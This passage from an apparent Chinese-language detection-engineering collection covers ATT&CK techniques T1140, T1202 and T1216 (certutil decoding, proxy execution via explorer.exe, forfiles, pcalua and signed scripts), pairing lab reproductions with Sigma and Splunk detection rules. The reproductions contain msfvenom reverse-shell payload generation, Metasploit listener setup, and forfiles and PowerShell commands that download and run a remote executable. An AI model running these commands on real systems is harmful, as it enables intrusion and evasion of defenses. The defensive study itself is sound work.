检测非系统路径下的可执行文件生成(如`C:\Temp\*.exe`)。 - 监控编码文件(如`.b64`、`.hex`、`.bin`)的创建和访问。 4. 网络监控: - 检测`certutil.exe`发起的HTTP请求。 5. 行为分析: - 检测解码后立即执行生成文件的模式。 ### Sigma规则 新增Sigma规则以增强检测: ```yaml title:Certutil解码可疑文件 id:3c4d5e6f-7a8b-9c0d-1e2f-3a4b5c6d7e8f description:检测certutil.exe解码Base64或十六进制文件,可能用于加载恶意Payload status:experimental logsource: category:process_creation product:windows detection: selection: Image|endswith:'\certutil.exe' CommandLine|contains: - '-decode' - '-decodehex' filter_legitimate: CommandLine|contains: - 'C:\Windows\System32\Cert' - 'C:\Program Files\' condition:selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的证书管理操作 level:high tags: - attack.defense_evasion - attack.t1140 ``` 规则说明: - 目标:检测`certutil.exe`的解码行为。 - 过滤:排除合法证书管理操作。 - 日志来源:Windows事件ID4688(需启用命令行审核)或Sysmon事件ID1。 - 误报处理:合法操作可能触发,需结合生成文件路径和执行行为分析。 - 级别:标记为“高”优先级,因`certutil`解码常与恶意活动相关。 ### Splunk规则 优化后的Splunk规则: ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\certutil.exe" CommandLine IN ("*-decode*","*-decodehex*")) OR (EventCode=1 Image="*\cmd.exe" CommandLine="*copy* /b*+*.exe") OR (EventCode=11 FileName="*.exe" TargetFilename="*\Temp\*") | fields Image,CommandLine,ParentImage,User,TargetFilename ``` 规则说明: - 检测`certutil.exe`解码行为、`copy /b`重组行为和生成的可执行文件。 - 减少误报:结合文件路径和后续执行行为分析。 ### 检测挑战 - 误报:合法证书管理或文件操作可能触发,需结合上下文分析。 - 日志依赖:默认日志可能不记录完整命令行,需部署Sysmon或增强日志策略。 ## 防御建议 1. 监控和日志: - 启用命令行审核策略,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对`certutil.exe`和`copy.exe`的规则,监控文件创建和网络活动。 2. 网络隔离: - 限制非必要主机的HTTP出站连接。 3. 文件审查: - 定期扫描非系统路径下的可执行文件和编码文件,检查文件哈希。 4. 权限控制: - 限制普通用户执行`certutil.exe`的权限。 5. 安全更新: - 保持Windows系统更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1140: - CMD中certutil操作命令: - Sysmon配置与检测: - MetasploitFramework:用于生成和测试反弹Shell。 - Sysmon:Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1202-win-间接命令执行-基于Explorer.exe执行payload(白名单).md ================================================ # T1202-间接命令执行-基于Explorer.exe执行Payload(白名单) ## 描述 攻击者可利用Windows实用程序(如`explorer.exe`)间接执行命令,绕过防御机制。`explorer.exe`是Windows的文件管理器和系统组件二进制文件,位于`C:\Windows\`和`C:\Windows\SysWOW64\`,由Microsoft签名。它通常管理文件资源管理器界面,但可通过命令行参数(如`/root`或直接路径)执行任意可执行文件。 攻击者滥用`explorer.exe`创建新进程实例,破坏现有进程树,执行恶意Payload(如`calc.exe`或`notepad.exe`),绕过应用程序白名单(如AppLocker)或防病毒检测。此技术常用于防御规避,尤其在限制`cmd.exe`的场景中。 ## 测试案例 ### 测试案例1:Explorer.exe通过/root参数执行Payload `explorer.exe`通过`/root`参数指定文件路径,创建新实例执行可执行文件。 **命令**: ```cmd explorer.exe /root,"C:\Windows\System32\calc.exe" ``` - **说明**: - `/root`:指定文件路径,创建新`explorer.exe`实例作为父进程。 - 用途:破坏进程树,规避基于父进程的检测。 - **权限**:普通用户可执行。 - **支持系统**:WindowsXP、Windows7、Windows8、Windows8.1、Windows10。 ### 测试案例2:Explorer.exe直接执行Payload `explorer.exe`直接调用可执行文件路径,创建新实例执行。 **命令**: ```cmd explorer.exe C:\Windows\System32\notepad.exe ``` - **说明**: - 直接指定路径,创建新`explorer.exe`实例作为父进程。 - 用途:规避传统命令行检测。 - **权限**:普通用户可执行。 - **支持系统**:Windows10(已测试)。 ### 补充说明 - 日志监控: - 在高版本Windows(如Windows7及以上),可通过组策略启用进程命令行参数记录: - 路径:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用` - 部署Sysmon,记录进程创建和子进程。 - 局限性: - 默认Windows日志可能不记录完整命令行,需启用审核策略。 - 合法文件操作可能触发类似行为,需结合上下文分析。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`explorer.exe`及其子进程的执行信息。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID10:进程访问,记录子进程调用。 - 行为监控: - 检测`explorer.exe`作为父进程的异常子进程(如`calc.exe`或自定义Payload)。 ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机:Windows7或Windows10 - 工具: - MetasploitFramework(生成Payload和监听) - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:Explorer.exe通过/root参数执行Payload 1. **生成Payload**: ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=9999 -f exe -o malicious.exe ``` - 将`malicious.exe`复制到靶机(如`C:\Users\liyang\Desktop\asptest\malicious.exe`)。 2. **配置攻击机监听**: ```bash msf5>use exploit/multi/handler msf5 exploit(multi/handler)>set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 9999 msf5 exploit(multi/handler)>exploit ``` 3. **靶机执行Payload**: ```cmd explorer.exe /root,"C:\Users\liyang\Desktop\asptest\malicious.exe" ``` 4. **结果分析**: - 成功:获得Meterpreter会话,`getuid`显示用户为`liyang-PC\liyang`。 - 失败可能原因: - 防火墙阻止TCP9999连接。 - Payload架构不匹配(需生成与系统匹配的32位/64位Payload)。 #### 测试2:Explorer.exe直接执行Payload 1. **使用现有Payload**: - 复用`malicious.exe`。 2. **靶机执行Payload**: ```cmd explorer.exe C:\Users\liyang\Desktop\asptest\malicious.exe ``` 3. **结果分析**: - 成功:触发`malicious.exe`,获得Meterpreter会话。 - 失败可能原因:同上。 ## 测试留痕 ### Windows安全日志 - 事件ID4688(测试案例1): ``` 进程信息: 新进程ID:0xabc 新进程名称:C:\Windows\explorer.exe 命令行:explorer.exe /root,"C:\Users\liyang\Desktop\asptest\malicious.exe" ``` ``` 进程信息: 新进程ID:0xdef 新进程名称:C:\Users\liyang\Desktop\asptest\malicious.exe 命令行:C:\Users\liyang\Desktop\asptest\malicious.exe ``` - 事件ID4688(测试案例2): ``` 进程信息: 新进程ID:0xghi 新进程名称:C:\Windows\explorer.exe 命令行:explorer.exe C:\Users\liyang\Desktop\asptest\malicious.exe ``` ``` 进程信息: 新进程ID:0xjkl 新进程名称:C:\Users\liyang\Desktop\asptest\malicious.exe 命令行:C:\Users\liyang\Desktop\asptest\malicious.exe ``` ### Sysmon日志 - 事件ID1(测试案例1): ``` 事件ID:1 OriginalFileName:explorer.exe CommandLine:explorer.exe /root,"C:\Users\liyang\Desktop\asptest\malicious.exe" CurrentDirectory:C:\Users\liyang\Desktop\asptest\ User:liyang-PC\liyang Hashes:SHA1=9A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1A0B ParentImage:C:\Windows\System32\cmd.exe ``` ``` 事件ID:1 OriginalFileName:malicious.exe CommandLine:C:\Users\liyang\Desktop\asptest\malicious.exe CurrentDirectory:C:\Users\liyang\Desktop\asptest\ User:liyang-PC\liyang Hashes:SHA1=2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C ParentImage:C:\Windows\explorer.exe ``` - 事件ID1(测试案例2): ``` 事件ID:1 OriginalFileName:explorer.exe CommandLine:explorer.exe C:\Users\liyang\Desktop\asptest\malicious.exe CurrentDirectory:C:\Users\liyang\Desktop\asptest\ User:liyang-PC\liyang Hashes:SHA1=9A8B7C6D5E4F3A2B1C0D9E8F7A6B5C4D3E2F1A0B ParentImage:C:\Windows\System32\cmd.exe ``` ``` 事件ID:1 OriginalFileName:malicious.exe CommandLine:C:\Users\liyang\Desktop\asptest\malicious.exe CurrentDirectory:C:\Users\liyang\Desktop\asptest\ User:liyang-PC\liyang Hashes:SHA1=2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C ParentImage:C:\Windows\explorer.exe ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`explorer.exe`的命令行执行,尤其是包含`/root`或直接路径。 - 检查子进程是否为异常可执行文件。 2. 命令行分析: - 正则表达式匹配: ```regex explorer\.exe.*(\/root,|\s+[A-Za-z]:\\.*\.exe) ``` 3. 行为分析: - 检测`explorer.exe`作为父进程的非预期子进程(如自定义Payload)。 - 分析进程树中断(如新`explorer.exe`实例)。 ### Sigma规则 优化后的Sigma规则,结合官方规则并增强误报过滤: ```yaml title:ExplorerRootFlagProcessTreeBreak id:949f1ffb-6e85-4f00-ae1e-c3c5b190d605 description:检测explorer.exe使用/root参数破坏进程树,可能用于防御规避 status:experimental author:FlorianRoth date:2019/06/29 references: - https://twitter.com/CyberRaiju/status/1273597319322058752 - https://twitter.com/bohops/status/1276357235954909188?s=12 tags: - attack.defense_evasion - attack.t1202 logsource: category:process_creation product:windows detection: selection: Image|endswith:'\explorer.exe' CommandLine|contains|all: - '/root,' - '.exe' filter_legitimate: CommandLine|contains: - 'C:\Windows\explorer.exe' - 'C:\Program Files\' condition:selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的文件资源管理器操作 level:high ``` 规则说明: - 目标:检测`explorer.exe`使用`/root`参数执行可执行文件。 - 过滤:排除合法`explorer.exe`或程序安装目录的操作。 - 日志来源:Windows事件ID4688(需启用命令行审核)或Sysmon事件ID1。 - 误报处理:合法文件管理操作可能触发,需结合子进程和命令行分析。 - 级别:升级为“高”优先级,因进程树中断通常与恶意活动相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\explorer.exe" CommandLine IN ("*/root,*","*.exe")) OR (EventCode=10 SourceImage="*\explorer.exe" TargetImage="*.exe") | fields Image,CommandLine,ParentImage,User,TargetImage ``` 规则说明: - 检测`explorer.exe`的异常执行(事件ID1)和触发的子进程(事件ID10)。 - 减少误报:结合命令行和子进程分析。 ### 检测挑战 - 误报:合法文件管理操作可能触发,需结合上下文(如子进程类型)。 - 日志依赖:默认日志可能不记录完整命令行,需部署Sysmon或增强日志策略。 ## 防御建议 1. 监控和日志: - 启用命令行审核策略,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对`explorer.exe`的规则,监控进程创建和子进程。 2. 权限控制: - 限制普通用户通过命令行调用`explorer.exe`的权限。 3. 文件审查: - 定期扫描非系统路径下的可执行文件,检查文件哈希。 4. 行为基线: - 建立`explorer.exe`的正常行为基线,检测异常子进程。 5. 安全更新: - 保持Windows系统更新,修复潜在漏洞。 ## 相关TIP - [[T1202-win-间接命令执行-基于Forfiles执行Payload(白名单)]] - [[T1202-win-间接命令执行-基于Pcalua执行Payload(白名单)]] ## 参考推荐 - MITREATT&CKT1202: - Explorer.exe:LOLBAS: - Sysmon配置与检测: - MetasploitFramework:用于生成和测试反弹Shell。 - Sysmon:Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1202-win-间接命令执行-基于Forfiles执行payload(白名单).md ================================================ # T1202-间接命令执行-基于Forfiles执行Payload(白名单) ## 描述 攻击者可利用Windows实用程序(如`forfiles.exe`)间接执行命令,绕过防御机制。`forfiles.exe`是Windows默认的文件操作搜索工具,位于`C:\Windows\System32\`和`C:\Windows\SysWOW64\`,由Microsoft签名,包含在系统`PATH`环境变量中。它用于基于日期、后缀名或修改时间等条件操作文件,常与批处理配合使用,但可通过`/c`参数执行任意命令。 攻击者滥用`forfiles.exe`通过构造命令(如调用`cmd.exe`或`msiexec.exe`)执行恶意Payload,绕过应用程序白名单(如AppLocker)或防病毒检测。此技术常用于初始访问后的持久化、权限提升或横向移动。 ## 测试案例 ### 测试案例1:Forfiles执行远程MSI Payload `forfiles.exe`通过`/c`参数调用`cmd.exe`执行命令,加载远程MSI文件。以下为测试案例: **命令**: ```cmd forfiles /p C:\Windows\System32 /m cmd.exe /c "msiexec.exe /q /i http://192.168.126.146/abc.msi" ``` - **说明**: - `/p`:指定搜索路径(`C:\Windows\System32`)。 - `/m`:指定匹配文件(`cmd.exe`)。 - `/c`:执行指定命令(调用`msiexec.exe`加载MSI文件)。 - `msiexec.exe /q /i`:静默安装MSI文件。 - **权限**:无需提升权限,普通用户可执行。 - **注意**:需确保MSI文件与目标系统架构(32位/64位)匹配。 ### 补充说明 - 日志监控: - 在高版本Windows(如Windows7及以上),可通过组策略启用进程命令行参数记录: - 路径:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用` - 部署Sysmon,记录进程创建和网络活动。 - 局限性: - 默认Windows日志可能不记录完整命令行,需启用审核策略。 - 合法文件操作可能触发类似日志,需结合上下文分析。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`forfiles.exe`及其子进程的执行信息。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID3:网络连接,记录MSI文件的HTTP请求。 - 事件ID7:映像加载,记录加载的DLL。 - 事件ID10:进程访问,记录子进程调用。 - 网络监控: - 检测`msiexec.exe`或其子进程发起的HTTP请求或反弹Shell连接。 - 文件监控: - 检测非标准路径下的MSI文件。 ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机:Windows7 - 工具: - MetasploitFramework(生成Payload和监听) - Sysmon(可选,日志收集) - PythonHTTP服务器(托管MSI文件) ### 攻击分析 #### 测试1:Forfiles执行远程MSI Payload 1. **解决反弹Shell失败问题**: - 问题:反弹Shell失败,可能因MSI文件格式不正确或MSF配置错误。 - 解决: - 确保生成64位Payload以匹配Windows7(x64)。 - 修正MSF配置中的LPORT(测试案例中LPORT设置为5555,但应为8888)。 - 使用EXE格式Payload并直接调用,简化测试流程。 2. **生成Payload**: ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=8888 -f exe -o shell.exe ``` 3. **托管Payload**: 在攻击机上启动HTTP服务器: ```bash cp shell.exe /var/www/html/shell.exe sudo python3 -m http.server 80 ``` 4. **配置攻击机监听**: ```bash msf5>use exploit/multi/handler msf5 exploit(multi/handler)>set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 8888 msf5 exploit(multi/handler)>exploit ``` 5. **靶机执行Payload**: - 修改测试命令,直接调用EXE: ```cmd forfiles /p C:\Windows\System32 /m cmd.exe /c "C:\Windows\System32\shell.exe" ``` - 将`shell.exe`复制到靶机`C:\Windows\System32\`(或通过HTTP下载后执行): ```cmd forfiles /p C:\Windows\System32 /m cmd.exe /c "powershell -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.126.146/shell.exe','C:\Windows\System32\shell.exe'); C:\Windows\System32\shell.exe" ``` 6. **结果分析**: - 成功:获得Meterpreter会话,`getuid`显示用户为`12306Br0-PC\12306Br0`。 - 失败可能原因: - 防火墙阻止HTTP请求或TCP8888连接。 - Payload架构不匹配(需生成64位Payload)。 - PowerShell执行策略限制(需设置为`Bypass`:`Set-ExecutionPolicy Bypass`)。 ## 测试留痕 ### Windows安全日志 - 事件ID4688: ``` 进程信息: 新进程ID:0x4c4 新进程名称:C:\Windows\System32\forfiles.exe 命令行:forfiles /p C:\Windows\System32 /m cmd.exe /c "C:\Windows\System32\shell.exe" ``` ``` 进程信息: 新进程ID:0x588 新进程名称:C:\Windows\System32\shell.exe 命令行:C:\Windows\System32\shell.exe ``` ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:forfiles.exe CommandLine:forfiles /p C:\Windows\System32 /m cmd.exe /c "C:\Windows\System32\shell.exe" CurrentDirectory:C:\Users\12306Br0\ User:12306Br0-PC\12306Br0 Hashes:SHA1=7A3B2C1D4E5F67890123456789ABCDEF01234567 ParentImage:C:\Windows\System32\cmd.exe ``` ``` 事件ID:1 OriginalFileName:shell.exe CommandLine:C:\Windows\System32\shell.exe CurrentDirectory:C:\Windows\System32\ User:12306Br0-PC\12306Br0 Hashes:SHA1=C11C194CA5D0570F1BC85BB012F145BAFC9A4D6C ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID3: ``` 事件ID:3 Image:C:\Windows\System32\shell.exe Initiated:true SourceIp:192.168.126.149 SourcePort:49163 DestinationIp:192.168.126.146 DestinationPort:8888 ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`forfiles.exe`的执行,尤其是调用`cmd.exe`或`msiexec.exe`的场景。 - 检查命令行是否包含`/c`和可执行文件(如`.exe`、`.msi`)。 2. 命令行分析: - 正则表达式匹配: ```regex forfiles\.exe.*\/c.*(\.exe|\.msi|http) ``` 3. 网络监控: - 检测`msiexec.exe`或其子进程发起的HTTP请求或反弹Shell连接(如TCP8888)。 4. 文件监控: - 检测非系统路径下的可执行文件或MSI文件。 5. 行为分析: - 检测`forfiles.exe`触发子进程的异常行为。 ### Sigma规则 新增Sigma规则以增强检测: ```yaml title:可疑Forfiles.exe执行Payload id:1a2b3c4d-5e6f-7890-a1b2-c3d4e5f67890 description:检测forfiles.exe通过/c参数执行可执行文件或MSI,可能用于代理恶意代码 status:experimental logsource: category:process_creation product:windows detection: selection: Image|endswith:'\forfiles.exe' CommandLine|contains:'/c' filter_legitimate: CommandLine|contains: - '.txt' - '.log' condition:selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的文件操作脚本 level:high tags: - attack.execution - attack.t1202 ``` 规则说明: - 目标:检测`forfiles.exe`使用`/c`参数执行命令。 - 过滤:排除常见的文件操作(如处理`.txt`或`.log`文件)。 - 日志来源:Windows事件ID4688(需启用命令行审核)或Sysmon事件ID1。 - 误报处理:合法批处理脚本可能触发,需结合命令行和子进程分析。 - 级别:标记为“高”优先级,因`forfiles.exe`滥用通常与恶意活动相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\forfiles.exe" CommandLine="*/c*") OR (EventCode=10 SourceImage="*\forfiles.exe" TargetImage IN ("*\cmd.exe","*\msiexec.exe","*.exe")) OR (EventCode=3 Initiated="true" SourceImage IN ("*\msiexec.exe","*.exe") DestinationPort="8888") | fields Image,CommandLine,ParentImage,User,TargetImage,DestinationIp,DestinationPort ``` 规则说明: - 检测`forfiles.exe`的异常执行(事件ID1)、触发的子进程(事件ID10)和网络连接(事件ID3)。 - 减少误报:结合命令行、子进程和网络行为分析。 ### 检测挑战 - 误报:合法批处理脚本可能触发,需结合上下文(如文件类型、子进程)。 - 日志依赖:默认日志可能不记录完整命令行,需部署Sysmon或增强日志策略。 ## 防御建议 1. 监控和日志: - 启用命令行审核策略,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对`forfiles.exe`的规则,监控进程创建和网络活动。 2. 网络隔离: - 限制非必要主机的HTTP出站连接,尤其是高危端口(如8888)。 3. 文件审查: - 定期扫描非系统路径下的可执行文件和MSI文件,检查文件哈希。 4. 权限控制: - 限制普通用户执行`forfiles.exe`的权限。 5. 安全更新: - 保持Windows系统更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1202: - 基于白名单Forfiles执行Payload: - MicrosoftForfiles文档: - Sysmon配置与检测: - MetasploitFramework:用于生成和测试反弹Shell。 - Sysmon:Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1202-win-间接命令执行-基于Pcalua执行payload(白名单).md ================================================ # T1202-间接命令执行-基于Pcalua执行Payload(白名单) ## 描述 攻击者可利用Windows实用程序(如`pcalua.exe`)间接执行命令,绕过防御机制。`pcalua.exe`是程序兼容性助手(ProgramCompatibilityAssistant)的组件,位于`C:\Windows\System32\`,由Microsoft签名,包含在系统`PATH`环境变量中。它用于以兼容模式运行程序,但可被滥用通过`-a`参数直接执行任意可执行文件,包括本地或远程文件。 此技术通过合法签名工具(如`pcalua.exe`)代理执行恶意Payload,绕过应用程序白名单(如AppLocker)或防病毒检测,常用于初始访问后的持久化、权限提升或横向移动。 ## 测试案例 ### 测试案例1:Pcalua执行本地或远程Payload `pcalua.exe`通过`-a`参数执行可执行文件,支持本地路径或远程SMB共享路径。以下为测试案例: **命令**: - 本地加载: ```cmd pcalua -m -a C:\Users\\Desktop\shell.exe ``` - 远程加载: ```cmd pcalua -m -a \\192.168.126.146\share\shell.exe ``` - **说明**: - `-m`:以兼容模式运行(可选)。 - `-a`:指定要执行的可执行文件路径。 - `shell.exe`:恶意Payload,测试中可替换为反弹Shell。 - **权限**:无需提升权限,普通用户可执行。 ### 补充说明 - 日志监控: - 在高版本Windows(如Windows7及以上),可通过组策略启用进程命令行参数记录: - 路径:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用` - 部署Sysmon,记录进程创建和网络活动。 - 局限性: - 默认Windows日志可能不记录完整命令行,需启用审核策略。 - 合法程序兼容性操作可能触发类似日志,需结合上下文分析。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`pcalua.exe`及其子进程的执行信息。 - 事件ID5156:网络连接,记录Payload的出站连接。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID7:映像加载,记录加载的DLL。 - 事件ID10:进程访问,记录子进程调用。 - 网络监控: - 检测`pcalua.exe`或其子进程发起的异常网络连接(如反弹Shell)。 - 文件监控: - 检测非标准路径下的可执行文件或SMB共享访问。 ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机:Windows7 - 工具: - MetasploitFramework(生成Payload和监听) - Sysmon(可选,日志收集) - Samba(远程共享Payload) ### 攻击分析 #### 测试1:Pcalua执行Payload 1. **生成Payload**: ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=6666 -f exe -o shell.exe ``` 2. **配置Samba共享(远程加载)**: - 在攻击机上设置SMB共享: ```bash sudo apt-get install samba sudo nano /etc/samba/smb.conf ``` 添加: ``` [share] path = /path/to/share writable = yes guest ok = yes ``` - 复制`shell.exe`到共享目录: ```bash cp shell.exe /path/to/share/ sudo systemctl restart smbd ``` 3. **配置攻击机监听**: ```bash msf5>use exploit/multi/handler msf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 6666 msf5 exploit(multi/handler)>exploit ``` 4. **靶机执行Payload**: - 本地加载: ```cmd pcalua -m -a C:\Users\12306Br0\Desktop\shell.exe ``` - 远程加载: ```cmd pcalua -m -a \\192.168.126.146\share\shell.exe ``` 5. **结果分析**: - 成功:获得Meterpreter会话,`getuid`显示用户为`12306Br0-PC\12306Br0`。 - 失败可能原因: - 防火墙阻止TCP连接。 - SMB共享未正确配置(需检查权限或防火墙)。 - Payload架构不匹配(需生成32位Payload以适配Windows7)。 ## 测试留痕 ### Windows安全日志 - 事件ID4688: ``` 进程信息: 新进程ID:0x864 新进程名称:C:\Windows\System32\pcalua.exe 命令行:pcalua -m -a C:\Users\12306Br0\Desktop\a\shell.exe ``` ``` 进程信息: 新进程ID:0xaf4 新进程名称:C:\Users\12306Br0\Desktop\a\shell.exe 命令行:"C:\Users\12306Br0\Desktop\a\shell.exe" ``` - 事件ID5156: ``` 应用程序信息: 进程ID:2804 应用程序名称:\device\harddiskvolume2\users\12306br0\desktop\a\shell.exe 网络信息: 方向:出站 源地址:192.168.126.149 源端口:49163 目标地址:192.168.126.146 目标端口:6666 ``` ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:pcalua.exe CommandLine:pcalua -m -a C:\Users\12306Br0\Desktop\a\shell.exe CurrentDirectory:C:\Users\12306Br0\ User:12306Br0-PC\12306Br0 Hashes:SHA1=280038828C2412F3867DDB22E07759CB26F7D8EA ParentImage:C:\Windows\System32\cmd.exe ``` ``` 事件ID:1 OriginalFileName:shell.exe CommandLine:"C:\Users\12306Br0\Desktop\a\shell.exe" CurrentDirectory:C:\Users\12306Br0\ User:12306Br0-PC\12306Br0 Hashes:SHA1=C11C194CA5D0570F1BC85BB012F145BAFC9A4D6C ParentImage:C:\Windows\System32\pcalua.exe ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`pcalua.exe`的执行,尤其是非程序兼容性场景中的调用。 - 检查命令行是否包含`-a`和可执行文件路径(本地或远程)。 2. 命令行分析: - 正则表达式匹配: ```regex pcalua\.exe.*-a.*(\.exe|\\) ``` 3. 网络监控: - 检测`pcalua.exe`或其子进程发起的异常网络连接(如TCP6666)。 - 监控SMB共享访问(如`\\192.168.126.146\share`)。 4. 文件监控: - 检测非系统路径下的可执行文件或远程共享中的文件。 5. 行为分析: - 检测`pcalua.exe`触发子进程的异常行为。 ### Sigma规则 新增Sigma规则以增强检测: ```yaml title:可疑Pcalua.exe执行Payload id:9e8f0a1b-2c3d-4e5f-6b7c-8d9e0a1b2c3d description:检测pcalua.exe执行本地或远程可执行文件,可能用于代理恶意代码 status:experimental logsource: category:process_creation product:windows detection: selection: Image|endswith:'\pcalua.exe' CommandLine|contains:'-a' filter_legitimate: CommandLine|contains: - 'C:\ProgramFiles\' - 'C:\ProgramFiles(x86)\' condition:selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的程序兼容性操作 level:high tags: - attack.execution - attack.t1202 ``` 规则说明: - 目标:检测`pcalua.exe`使用`-a`参数执行可执行文件。 - 过滤:排除程序安装目录(如`C:\ProgramFiles`)中的合法操作。 - 日志来源:Windows事件ID4688(需启用命令行审核)或Sysmon事件ID1。 - 误报处理:合法兼容性操作可能触发,需结合文件路径和网络行为分析。 - 级别:标记为“高”优先级,因`pcalua.exe`滥用通常与恶意活动相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\pcalua.exe" CommandLine="*-a*") OR (EventCode=10 SourceImage="*\pcalua.exe" TargetImage="*.exe") OR (EventCode=3 Initiated="true" SourceImage="*\pcalua.exe" DestinationPort IN ("445","6666")) | fields Image,CommandLine,ParentImage,User,TargetImage,DestinationIp,DestinationPort ``` 规则说明: - 检测`pcalua.exe`的异常执行(事件ID1)、触发的子进程(事件ID10)和网络连接(事件ID3)。 - 减少误报:结合命令行、子进程和网络行为分析。 ### 检测挑战 - 误报:合法程序兼容性操作可能触发,需结合上下文(如文件路径、父进程)。 - 日志依赖:默认日志可能不记录完整命令行,需部署Sysmon或增强日志策略。 ## 防御建议 1. 监控和日志: - 启用命令行审核策略,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对`pcalua.exe`的规则,监控进程创建和网络活动。 2. 网络隔离: - 限制非必要主机的出站连接,尤其是高危端口(如6666)。 - 禁用或限制非必要的SMB共享访问。 3. 文件审查: - 定期扫描非系统路径下的可执行文件,检查文件哈希。 4. 权限控制: - 限制普通用户执行`pcalua.exe`的权限。 5. 安全更新: - 保持Windows系统更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1202: - 渗透测试-基于白名单执行Payload--Pcalua: - Sysmon配置与检测: - MetasploitFramework:用于生成和测试反弹Shell。 - Sysmon:Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1216-win-签名脚本代理执行.md ================================================ # T1216-签名脚本代理执行 ## 描述 攻击者可利用Microsoft签名的脚本(如VBS、WSF)代理执行恶意代码。这些脚本由可信证书签名,位于Windows系统目录(如`C:\Windows\System32`),常被滥用来绕过应用程序白名单(如AppLocker)或签名验证机制。常见脚本包括`SyncAppvPublishingServer.vbs`和`manage-bde.wsf`,它们允许通过参数或环境变量注入任意命令,触发恶意Payload。 此技术通过合法的脚本宿主进程(如`wscript.exe`、`cscript.exe`)执行,隐藏恶意行为,降低被检测的风险。攻击者常在网络钓鱼、持久化或横向移动阶段使用此类技术。 ## 测试案例 ### 测试案例1:SyncAppvPublishingServer.vbs执行PowerShell命令 `SyncAppvPublishingServer.vbs`是Windows系统自带的签名脚本,用于同步App-V发布服务器。通过注入PowerShell命令,可代理执行任意代码。 **命令**: ```cmd C:\Windows\System32\SyncAppvPublishingServer.vbs "\n;Start-Process calc" ``` - 说明:注入`Start-Process calc`启动计算器,实际攻击中可替换为恶意Payload。 - 权限:无需提升权限,普通用户可执行。 ### 测试案例2:manage-bde.wsf执行任意命令 `manage-bde.wsf`是Windows BitLocker管理脚本,可通过修改`COMSPEC`环境变量代理执行命令。 **命令**: ```cmd set COMSPEC=%windir%\System32\calc.exe cscript %windir%\System32\manage-bde.wsf ``` - 说明:将`COMSPEC`设置为`calc.exe`,脚本执行时启动计算器。 - 清理:执行`set COMSPEC=%windir%\System32\cmd.exe`恢复环境变量。 - 权限:无需提升权限。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID 4688:进程创建,记录`wscript.exe`或`cscript.exe`的执行信息。 - Sysmon日志: - 事件ID 1:进程创建,包含命令行、哈希值和父进程。 - 事件ID 7:映像加载,记录加载的DLL。 - 事件ID 10:进程访问,记录脚本触发的子进程。 - 环境变量监控: - 检测`COMSPEC`等关键变量的异常修改。 - 文件监控: - 检测脚本文件(如`SyncAppvPublishingServer.vbs`、`manage-bde.wsf`)的异常调用。 - 网络监控: - 检测脚本触发的异常网络连接(如反弹Shell)。 ### 日志示例 - 事件ID 4688(测试1): ``` 进程信息: 新进程名称:C:\Windows\System32\wscript.exe 命令行:"C:\Windows\System32\WScript.exe" "C:\Windows\System32\SyncAppvPublishingServer.vbs" 